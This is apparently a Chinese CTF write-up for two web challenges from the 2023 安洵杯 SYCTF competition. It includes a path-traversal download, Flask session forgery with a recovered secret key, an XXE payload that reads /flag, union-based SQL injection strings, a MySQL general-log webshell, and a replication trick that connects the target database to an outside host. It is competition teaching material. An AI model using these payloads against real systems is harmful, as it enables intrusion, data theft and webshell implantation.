2023 安洵杯SYCTFWeb-writeup
Web
文末:附官方wp,失效可留言联系
CarelessPy
首页的源代码中存在注释,提供了两个功能点。
<!-- 好像有 /eval 路由 和 /login 路由 是拿来干什么的呢? -→
还有一张图片,访问图片发现请求路径:会请求 /download?file=zayu2.jpg,这里能任意下载文件
总共三个点:/eval /login /download
1./eval 页面回显
试试get传参cmd吧 ['home', 'opt', 'lib', 'lib64', 'boot', 'tmp', 'usr', 'etc','mnt', 'sys', 'proc', 'bin', 'dev', 'run', 'root', 'var', 'media', 'sbin','srv','flag', 'app', '.dockerenv', 'start.sh']
可以看到输出的是文件目录,有点类似于 ls / 的结果
试试传参 /eval?cmd=/app 可以发现输出了app目录下的文件
2./login
有一个登录页面 弱密码登录不了,抓包发现有 session 内容
eyJpc2xvZ2luIjpmYWxzZX0.ZFp4VQ.WBaliIlS52fNouAtTbu5DduOpyA
估计就是伪造session 才能登录 首先需要得到 secret_key
所以总结/eval能显示目录 /login伪造session登录 /download下载所需文件
构造去下载提示的start.sh
继续构造下载pyc
文件../../../../../../../app/__pycache__/part.cpython-311.pyc
将其进行反编译获取源码
得到 part.py 源码,拿到 secret_key
得到secret_key
进行伪造登录login
接口
python3 flask_session_3.py encode -s "o2takuXX_donot_like_ntr" -t "{'islogin':True}"
eyJpc2xvZ2luIjp0cnVlfQ.ZIRyRA.okjKxL2LmV5SlZOjFeYfbjs1p6k
然后去 /login 实现登录操作
注意:
这里要传参 username 和 password 才能实现登录
但是不用管传的啥内容 传空值也行 但必须得有
然后去 /th1s_1s_The_L4st_one 路由
发现是 XML 页面
抓包后测试发现
直接用 file协议 xxe注入 读取flag
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE xxe [<!ELEMENT name ANY >
<!ENTITY xxe SYSTEM "file:///flag" >]>
<result><ctf>111~</ctf><web>&xxe;</web></result>
Confronting robots
查看源码发现一行提示
回到页面可以看出是一个sql注入,并且可以找到注入点1'or 1=1#
这里直接联合注入或者sqlmap一把梭就行,
爆库,爆表,爆列
1'union select database()#
1'union select group_concat(table_name) from information_schema.tables wheretable_schema='robot_data'#
1'union select group_concat(column_name) from information_schema.columns wheretable_name='name'#
1'union select group_concat(username) from robot_data.name#
最后数据库存放信息:
访问:
点击传输:
看源代码发现了猜拳的规则
必须全对,然后在首页的命令框那发现了sql注入,注进去之后发现是空白的,这表明了我们要往数据库里写东西,从而达到控制10次猜拳的答案。
看到两种思路:1.日志写shell 2.主从复制
1.日志写shell
个人觉得算非预期解,出题者应该把web目录设置为不可写。
开启全局的通用查询日志之后直接日志写马导致WEBSHELL
set global general_log='on'
set global general_log_file='/var/www/html/sEcR@[email protected]'
然后直接select记录一次马即可shell
蚁剑连接game.php得到flag
2.通过尝试发现insert等命令是不行的,所以想到还有一种可以同步数据的方法:主从复制
查看数据库版本:
select version();
在自己vps上起一个相同版本的mariadb,修改默认配置文件vim /etc/mysql/my.cnf允许远程访问并启用二进制日志
server-id = 1 log_bin = /var/log/mysql/mariadb-bin
service mysql restart
自己的vps作为主,题目环境作为从
主服务器执行
CREATE USER 'atest'@'%' IDENTIFIED BY 'testtest';
grant replication slave on . to 'atest'@'%';
flush privileges;
使用select database(); show tables; desc game; 等查询命令将从服务器上的数据库结构一比一复刻到
主服务器上
CREATE DATABASE IF NOT EXISTS game_data;
use game_data
CREATE TABLE IF NOT EXISTS game ( round int(20) , choice varchar(256) ) ;
在主服务器mysql中执行
show master status;
记录下来 File和 Position
mysql-bin.000001 1376
在从服务器(题目环境)命令框中输入
CHANGE MASTER TO MASTER_HOST='主服务器ip', MASTER_USER='atest',
MASTER_PASSWORD='testtest', MASTER_LOG_FILE='mariadb-bin.000001(记录的值)',
MASTER_LOG_POS=1365(记录的值);
start slave;
show slave status;
显示这个表示成功连接上
主服务器中执行
INSERT INTO game ( round , choice ) VALUES ('1', 'R'), ('2', 'R'),('3', 'R'), ('4', 'R'),('5', 'R'), ('6', 'R'),('7','R'), ('8', 'R'),('9', 'R'), ('10', 'R');
在开始挑战处输入对应的答案得到flag
官方wp:https://www.kdocs.cn/l/cpcke0jhBRxh
标签:Web,..,mysql,安洵,game,SYCTF,服务器,MASTER,select From: https://www.cnblogs.com/via-liabs/p/17477242.html